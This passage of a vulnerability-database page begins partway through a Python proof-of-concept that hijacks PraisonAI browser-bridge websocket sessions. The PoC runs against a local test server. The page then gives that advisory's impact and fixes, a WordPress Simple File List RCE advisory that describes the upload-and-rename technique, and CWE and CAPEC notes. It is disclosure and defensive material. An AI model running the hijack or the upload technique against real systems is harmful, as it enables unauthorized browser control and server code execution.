asyncio.sleep(0.1)\n        else:\n            raise RuntimeError(\"Uvicorn server did not start in time\")\n\n        ws_url = f\"ws://127.0.0.1:{port}/ws\"\n\n        async with websockets.connect(\n            ws_url,\n            origin=\"chrome-extension://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\n        ) as extension_ws:\n            extension_welcome = json.loads(await extension_ws.recv())\n            print(\"[+] Extension welcome:\", extension_welcome)\n\n            async with websockets.connect(ws_url) as attacker_ws:\n                attacker_welcome = json.loads(await attacker_ws.recv())\n                print(\"[+] Attacker welcome:\", attacker_welcome)\n\n                await attacker_ws.send(\n                    json.dumps(\n                        {\n                            \"type\": \"start_session\",\n                            \"goal\": \"Open internal admin page and reveal secrets\",\n                            \"model\": \"dummy\",\n                            \"max_steps\": 1,\n                        }\n                    )\n                )\n                start_response = json.loads(await attacker_ws.recv())\n                print(\"[+] Attacker start_session response:\", start_response)\n\n                hijacked_msg = json.loads(await extension_ws.recv())\n                print(\"[+] Extension received forwarded message:\", hijacked_msg)\n\n                session_id = hijacked_msg[\"session_id\"]\n                await extension_ws.send(\n                    json.dumps(\n                        {\n                            \"type\": \"observation\",\n                            \"session_id\": session_id,\n                            \"step_number\": 1,\n                            \"url\": \"https://victim.example/internal\",\n                            \"elements\": [{\"selector\": \"#secret\"}],\n                        }\n                    )\n                )\n\n                attacker_action = json.loads(await attacker_ws.recv())\n                attacker_status = json.loads(await attacker_ws.recv())\n                print(\"[+] Attacker received broadcast action:\", attacker_action)\n                print(\"[+] Attacker received completion status:\", attacker_status)\n\n                no_origin_client_connected = attacker_welcome.get(\"status\") == \"connected\"\n                forwarded_to_extension = hijacked_msg.get(\"type\") == \"start_automation\"\n                action_broadcasted = (\n                    attacker_action.get(\"type\") == \"action\"\n                    and attacker_action.get(\"session_id\") == session_id\n                )\n\n                print(\"[+] No-Origin client accepted:\", no_origin_client_connected)\n                print(\"[+] Session forwarded to extension:\", forwarded_to_extension)\n                print(\"[+] Action broadcast to attacker:\", action_broadcasted)\n\n                if no_origin_client_connected and forwarded_to_extension and action_broadcasted:\n                    print(\"[+] RESULT: VULNERABLE - unauthenticated client can hijack browser sessions.\")\n                    return 0\n\n                print(\"[-] RESULT: NOT VULNERABLE\")\n                return 1\n    finally:\n        uvicorn_server.should_exit = True\n        try:\n            await asyncio.wait_for(server_task, timeout=5)\n        except Exception:\n            server_task.cancel()\n        temp_home.cleanup()\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(asyncio.run(main()))\n```\n\n`tmp/pocs/poc.py` starts a temporary local server, stubs the browser agent, opens both websocket roles, and prints the final vulnerability conditions explicitly.\n\nPoC Video:\n\nhttps://github.com/user-attachments/assets/df078542-bbdc-4341-b438-89c86365009e\n\n\n\n### Impact\nThis is an unauthenticated remote-control vulnerability in the browser automation bridge. Any network client that can reach the exposed bridge can impersonate the controller side of the workflow, hijack an available connected extension session, and receive automation output from that hijacked session. In real deployments, this can allow unauthorized browser actions, misuse of model-backed automation, and leakage of sensitive page context or automation results.\n\nWho is impacted:\n\n- Operators who run `praisonai browser start` with the default host binding\n- Users with an active connected browser extension session\n- Environments where the bridge is reachable from other hosts on the network\n\n### Recommended Fix\nSuggested remediations:\n\n1. Require explicit authentication for every websocket client connecting to `/ws`.\n2. Reject websocket handshakes that omit `Origin`, unless they are using a separate authenticated localhost-only transport.\n3. Bind the browser bridge to `127.0.0.1` by default and require explicit operator opt-in for non-loopback exposure.\n4. Do not route `start_session` to \u201cthe first other idle connection\u201d; instead, pair authenticated controller and extension clients explicitly.",
  "id": "GHSA-8x8f-54wf-vv92",
  "modified": "2026-04-14T21:54:41Z",
  "published": "2026-04-10T19:32:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8x8f-54wf-vv92"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40289"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.139"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Browser Server allows unauthenticated WebSocket clients to hijack connected extension sessions"
}

GHSA-8XP7-P66P-4H9H

Vulnerability from github – Published: 2025-07-09 03:30 – Updated: 2025-07-16 18:32
VLAI
Details

An unrestricted file upload vulnerability in the WordPress Simple File List plugin prior to version 4.2.3 allows unauthenticated remote attackers to achieve remote code execution. The plugin's upload endpoint (ee-upload-engine.php) restricts file uploads based on extension, but lacks proper validation after file renaming. An attacker can first upload a PHP payload disguised as a .png file, then use the plugin’s ee-file-engine.php rename functionality to change the extension to .php. This bypasses upload restrictions and results in the uploaded payload being executable on the server.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-34085"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-09T01:15:50Z",
    "severity": "CRITICAL"
  },
  "details": "An unrestricted file upload vulnerability in the WordPress Simple File List plugin prior to version 4.2.3 allows unauthenticated remote attackers to achieve remote code execution. The plugin\u0027s upload endpoint (ee-upload-engine.php) restricts file uploads based on extension, but lacks proper validation after file renaming. An attacker can first upload a PHP payload disguised as a .png file, then use the plugin\u2019s ee-file-engine.php rename functionality to change the extension to .php. This bypasses upload restrictions and results in the uploaded payload being executable on the server.",
  "id": "GHSA-8xp7-p66p-4h9h",
  "modified": "2025-07-16T18:32:33Z",
  "published": "2025-07-09T03:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34085"
    },
    {
      "type": "WEB",
      "url": "https://packetstorm.news/files/id/160221"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/2286920/simple-file-list"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/http/wp_simple_file_list_rce.rb"
    },
    {
      "type": "WEB",
      "url": "https://simplefilelist.com"
    },
    {
      "type": "WEB",
      "url": "https://vulncheck.com/advisories/wordpress-simple-file-list-plugin-rce"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20220426044003/https://wpscan.com/vulnerability/10192"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/simple-file-list"
    },
    {
      "type": "WEB",
      "url": "https://www.cybersecurity-help.cz/vdb/SB2020042711"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/simple-file-list/simple-file-list-423-remote-code-execution"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.